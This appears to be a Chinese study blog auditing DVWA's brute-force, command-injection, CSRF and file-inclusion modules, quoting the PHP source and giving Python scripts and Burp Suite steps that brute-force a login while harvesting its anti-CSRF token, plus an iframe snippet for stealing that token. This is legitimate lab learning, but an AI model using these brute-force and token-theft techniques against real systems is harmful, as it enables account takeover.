前言

都只尝试审计一下高难度,顺带练习一下代码审计工具,这里impassible难度是已经防御好的,high是高难度,我们主要关注这两个部分的源码

Brute Force

暴力破解,感觉没什么好审的,还是看看源码:

prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // Check to see if the user has been locked out. if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) { ​ // User locked out. Note, using this method would allow for user enumeration! ​ //echo "

This account has been locked due to too many incorrect logins.
"; ​ // Calculate when the user would be allowed to login again ​ $last_login = $row[ 'last_login' ]; ​ $last_login = strtotime( $last_login ); ​ $timeout = strtotime( "{$last_login} +{$lockout_time} minutes" ); ​ $timenow = strtotime( "now" ); ​ // Check to see if enough time has passed, if it hasn't locked the account ​ if( $timenow > $timeout ) ​ $account_locked = true; } // Check the database (if username matches the password) $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR); $data->bindParam( ':password', $pass, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // If its a valid login... if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { ​ // Get users details ​ $avatar = $row[ 'avatar' ]; ​ $failed_login = $row[ 'failed_login' ]; ​ $last_login = $row[ 'last_login' ]; ​ // Login successful ​ echo "

Welcome to the password protected area {$user}

"; ​ echo ""; ​ // Had the account been locked out since last login? ​ if( $failed_login >= $total_failed_login ) { ​ echo "

Warning: Someone might of been brute forcing your account.

"; ​ echo "

Number of login attempts: {$failed_login}.
Last login attempt was at: ${last_login}.

"; ​ } ​ // Reset bad login count ​ $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); ​ $data->bindParam( ':user', $user, PDO::PARAM_STR ); ​ $data->execute(); } else { ​ // Login failed ​ sleep( rand( 2, 4 ) ); ​ // Give the user some feedback ​ echo "

Username and/or password incorrect.

Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
"; ​ // Update bad login count ​ $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); ​ $data->bindParam( ':user', $user, PDO::PARAM_STR ); ​ $data->execute(); } // Set the last login time $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>

mysql_real_escape_string

PHP mysql_real_escape_string() 函数 (w3school.com.cn)

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

stripslashes

PHP stripslashes() 函数 (w3school.com.cn)

删除反斜杠

PDO

PHP PDO | 菜鸟教程 (runoob.com)

PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。

PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据

fetch()

PHP预处理语句- fetch方法、fetchAll方法、fetchColumn方法、fetch_style属性_fetch php-CSDN博客

占位符

在这个例子中,(:user) 将被数据库的预处理机制所识别。它表示一个占位符,表示在执行该预处理语句时,会将真正的值绑定到该占位符位置。

预处理语句中的占位符通常使用问号 ? 或命名占位符,例如 :user。这些占位符允许程序在执行 SQL 语句之前,将实际的值绑定到占位符位置,避免了直接在 SQL 查询中嵌入变量值,从而提高了安全性和效率。

在这个例子中,(:user) 可能代表一个命名占位符,表示在执行预处理语句时,将会把真正的用户名绑定到这个占位符位置。在实际执行查询之前,程序会通过绑定操作将实际的值填充到占位符中。

简单审计

image-20231128142725575

这里先对token进行检测,防止csrf攻击,这里我们抓一个包看看:

image-20231128143308585

他应该是把session和user token有一个绑定以防止csrf

image-20231128144047550

这里添加了PDO防护,sql注入应该用不了

image-20231128144446252

这里如果登录失败三次会被锁住15分钟

其他的话就是登陆成功和不成功,sql加了pdo,注不了,只能慢慢爆破

high:

这里爆破的话:

DVWA通过教程之暴力破解Brute Force_op=login&username=admin%7cpwd&password= 攻击-CSDN博客

可以跟着做一遍,对bp的爆破模式使用加深一下

由于使用了Anti-CSRF token,每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。所以,不建议利用burpsuite进行无脑式的爆破了。

*Python2.x代码*

from bs4 import BeautifulSoup
import urllib2
header={'Host':'127.0.0.1',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
        'Referer':'http://127.0.0.1/vulnerabilities/brute/',
        'cookie':'PHPSESSID=6oqhn9tsrs80rbf3h4cvjutnn6; security=high',
        'Connection':'close',
        'Upgrade-Insecure-Requests':'1'
        }
requrl="http://127.0.0.1/vulnerabilities/brute/"
 
def get_token(requrl,header):
    req=urllib2.Request(url=requrl,headers=header)
    response=urllib2.urlopen(req)
    print response.getcode(),
    the_page=response.read()
    print len(the_page)
    soup=BeautifulSoup(the_page,"html.parser")   #将返回的html页面解析为一个BeautifulSoup对象
    input=soup.form.select("input[type='hidden']")   #返回的是一个list列表
    user_token=input[0]['value']               #获取用户的token
    return user_token
 
user_token=get_token(requrl,header)
i=0
for line in open("E:\Password\mima.txt"):
    requrl="http://127.0.0.1/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
    i=i+1
    print i , 'admin' ,line.strip(),
    user_token=get_token(requrl,header)
    if(i==20):
        break

*python3.x代码*


from bs4 import BeautifulSoup
import requests
 
header={'Host':'127.0.0.1',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
        'Referer':'http://127.0.0.1/vulnerabilities/brute/',
        'cookie':'PHPSESSID=8p4kb7jc1df431lo6qe249quv2; security=high',
        'Connection':'close',
        'Upgrade-Insecure-Requests':'1'
        }
requrl="http://127.0.0.1/vulnerabilities/brute/"
 
def get_token(requrl,header):
    response=requests.get(url=requrl,headers=header)
    print (response.status_code,len(response.content))
    soup=BeautifulSoup(response.text,"html.parser")
    input=soup.form.select("input[type='hidden']")   #返回的是一个list列表
    user_token=input[0]['value']                   #获取用户的token
    return user_token
 
user_token=get_token(requrl,header)
i=0
for line in open("E:\Password\mima.txt"):
    requrl="http://127.0.0.1/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
    i=i+1
    print (i , 'admin' ,line.strip(),end="  ")
    user_token=get_token(requrl,header)
    if(i==20):
        break

bp:

设置两个参数 password和user_token为变量,攻击类型选择pitchfork,意思是草叉模式(Pitchfork )——它可以使用多组Payload集合,在每一个不同的Payload标志位置上(最多20个),遍历所有的Payload,举例来说,如果有两个Payload标志位置,第一个Payload值为A和B,第二个Payload值为C和D,则发起攻击时,将共发起两次攻击,第一次使用的Payload分别为A和C,第二次使用的Payload分别为B和D。

设置参数,在option选项卡中将攻击线程thread设置为1,因为Recursive_Grep模式不支持多线程攻击,然后选择Grep-Extract,意思是用于提取响应消息中的有用信息,点击Add,如下图进行设置,最后将Redirections设置为Always

写上value=’ 点击刷新相应信息 服务器返回的token选中(即value后面,表示每次从响应中获取该值)

将这个token 值先记录下来

a5f168e741600adb87c761ac45d016dd

然后设置payload,设置第一个参数载入字典,第二个参数选择Recursive grep,然后将options中的token作为第一次请求的初始值。

坑:

在设置好Grep-Extract后,需要重新抓一个包把最新的user token作为初始参数 ,不然Recursive_Grep的参数会抓不到

Command Inject

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

explode()

PHP explode() 函数 (w3school.com.cn)

把字符串打散为数组:

<?php
$str = "Hello world. I love Shanghai!";
print_r (explode(" ",$str));
?>

PHP stristr() 函数

stristr() 函数搜索字符串在另一字符串中的第一次出现。

注释:该函数是二进制安全的。

注释:该函数是不区分大小写的。如需进行区分大小写的搜索,请使用 strstr() 函数。

PHP stristr() 函数 (w3school.com.cn)

语法

stristr(string,search,before_search)
参数 描述
string 必需。规定被搜索的字符串。
search 必需。规定要搜索的字符串。如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符。
before_search 可选。默认值为 “false” 的布尔值。如果设置为 “true”,它将返回 search 参数第一次出现之前的字符串部分。

php_uname

PHP: php_uname - Manual

php_uname(string $mode = “a”): string

mode

mode 是单个字符,用于定义要返回什么信息:

  • 'a':此为默认。包含序列 "s n r v m" 里的所有模式。
  • 's':操作系统名称。例如: FreeBSD
  • 'n':主机名。例如: localhost.example.com
  • 'r':版本名称,例如: 5.1.2-RELEASE
  • 'v':版本信息。操作系统之间有很大的不同。
  • 'm':机器类型。例如:i386

简单审计

image-20231128153521652

这里先对输入的ip进行分段检测然后再拼贴

image-20231128154222514

使用加工后的ip执行ping,这里ip必须为数字并且长度只能为4段,限制得很死

high

image-20231128155233024

这里进行了一个黑名单过滤,但是黑名单有了一些意义不明的空格~

其实能用的方法基本上都被过滤了,剩下的可能是一些异或等方法了

无数字字母rce总结(取反、异或、自增、临时文件)_MUNG东隅的博客-CSDN博客

好像还是不行hh~

CSRF

csrf主要是前端的问题,简单审计一下

high

image-20231128160129804

这里注入点被md5编码了,那么应该也无法使用报错注入。。

回到漏洞本身,我们通常使用的csrf检测手段是删除referer,如果请求依然成功判定为存在csrf漏洞,csrf token的防御是在每个会话上加一个token确保会话和用户身份的绑定,我们再看一眼中等难度,他没有使用csrf token,所以我们随便制作一个链接就可以进行csrf攻击,而这里可能需要借助一些xss来获取其他用户的token

这里补充一下:frames[0].document.getElementsByName(‘user_token’)使读取cookie的xsspayload

frames[0].document.getElementsByName(‘user_token’)
在前端开发中,frames 是一个 JavaScript 对象,表示当前窗口或文档中包含的所有 <frame><iframe> 元素的集合。它提供了对嵌套框架(即内嵌页面)的访问和控制。

在这种情况下,frames[0] 表示当前文档中第一个 frame 或 iframe 元素,.document 属性用于访问该 frame 或 iframe 的文档对象,getElementsByName('user_token') 则是在该文档中根据名称获取元素的方法。

文件包含

image-20231128162032027

fnmatch()

PHP fnmatch() 函数 (w3school.com.cn)

fnmatch() 函数根据指定的模式来匹配文件名或字符串。

语法

fnmatch(pattern,string,flags)
参数 描述
pattern 必需。规定要检索的模式。
string 必需。规定要检查的字符串或文件。
flags 可选。

说明

此函数对于文件名尤其有用,但也可以用于普通的字符串。普通用户可能习惯于 shell 模式或者至少其中最简单的形式 ‘?’ 和 ‘*’ 通配符,因此使用 fnmatch() 来代替 ereg() 或者 preg_match() 来进行前端搜索表达式输入对于非程序员用户更加方便。

这道题的话写个file就可以进行目录穿越了:

image-20231128193808682

直接file协议读取也可以。

先写到这里,等考完之后再写